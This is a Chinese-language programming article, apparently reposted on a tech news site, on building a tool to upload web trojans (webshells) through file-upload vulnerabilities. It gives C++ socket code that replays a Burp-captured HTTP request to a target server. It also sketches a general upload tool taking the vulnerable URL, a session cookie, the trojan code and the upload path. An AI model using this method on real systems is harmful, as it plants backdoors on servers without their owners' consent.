《电子技术应用》
您所在的位置:首页 > 通信与网络 > 业界动态 > 网络安全编程:上传网页木马

网络安全编程:上传网页木马

2021-07-13
来源:计算机与网络安全
关键词: 木马

  上传木马的模块可以通过直接发包达到上传的效果,实现起来比较简单,代码如下:

  void CuploadmumaDlg::OnBnClickedButton1()

  {

  // TODO: 在此添加控件通知处理程序代码

  WSAData wsa = { 0 };

  // 初始化

  WSAStartup(MAKEWORD(2, 2), &wsa);

  // 获取 IP 地址

  DWORD dwIPAddr = 0;

  m_IpAddr.GetAddress(dwIPAddr);

  // 获取端口号

  WORD dwPort = 0;

  dwPort = GetDlgItemInt(IDC_PORT);

  // 创建 SOCKET

  SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

  sockaddr_in sockaddr = { 0 };

  sockaddr.sin_family = AF_INET;

  sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr);

  sockaddr.sin_port = htons(dwPort);

  // 连接服务器

  int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));

  // 获取从 BURP 截取的 HTTP 的 request 包

  char szText[2048] = { 0 };

  GetDlgItemText(IDC_TEXT, szText, 2048);

  // 发送包

  nRet = send(s, szText, lstrlen(szText), 0);

  closesocket(s);

  WSACleanup();

  }

  代码的流程比较简单,主要就是完成了与Web服务器的连接,然后发送通过Burp截取的数据内容,程序界面如图1所示。

微信图片_20210713142806.jpg

  图1  发送木马数据包上传木马

  该木马发送程序比较简陋,只是简单地提交了对Web服务器请求的数据包。开发一个较为通用的木马上传工具,就不能这么偷懒了。首先,需要提取出存在上传漏洞的地址,因为每个系统存在上传漏洞的地址是不相同的,因此漏洞的地址必须能够接收用户的输入。接着提取HTTP请求头部中的“Cookie”部分,因为上传木马时可能需要登录系统以后才能进行上传,但是为什么发包的时候可以,因为数据包中有COOKIE,因此必须要能让用户输入“cookie”,因为一般的上传漏洞可能是论坛、博客等系统,因此用户可以自行登录后,将cookie复制出来并粘贴到程序中。然后还有木马的内容需要用户自定义,那么程序界面上也需要留下输入木马的文本框,可以直接输入木马的代码,也可以直接让用户输入木马的目录,然后让程序从文件中把木马代码读出。有的上传漏洞能够让用户去控制上传木马后所在的目录,那么还要给用户一个可以设置上传位置的输入框。




电子技术图片.png

本站内容除特别声明的原创文章之外,转载内容只为传递更多信息,并不代表本网站赞同其观点。转载的所有的文章、图片、音/视频文件等资料的版权归版权所有权人所有。本站采用的非本站原创文章及图片等内容无法一一联系确认版权者。如涉及作品内容、版权和其它问题,请及时通过电子邮件或电话通知我们,以便迅速采取适当措施,避免给双方造成不必要的经济损失。联系电话:010-82306118;邮箱:aet@chinaaet.com。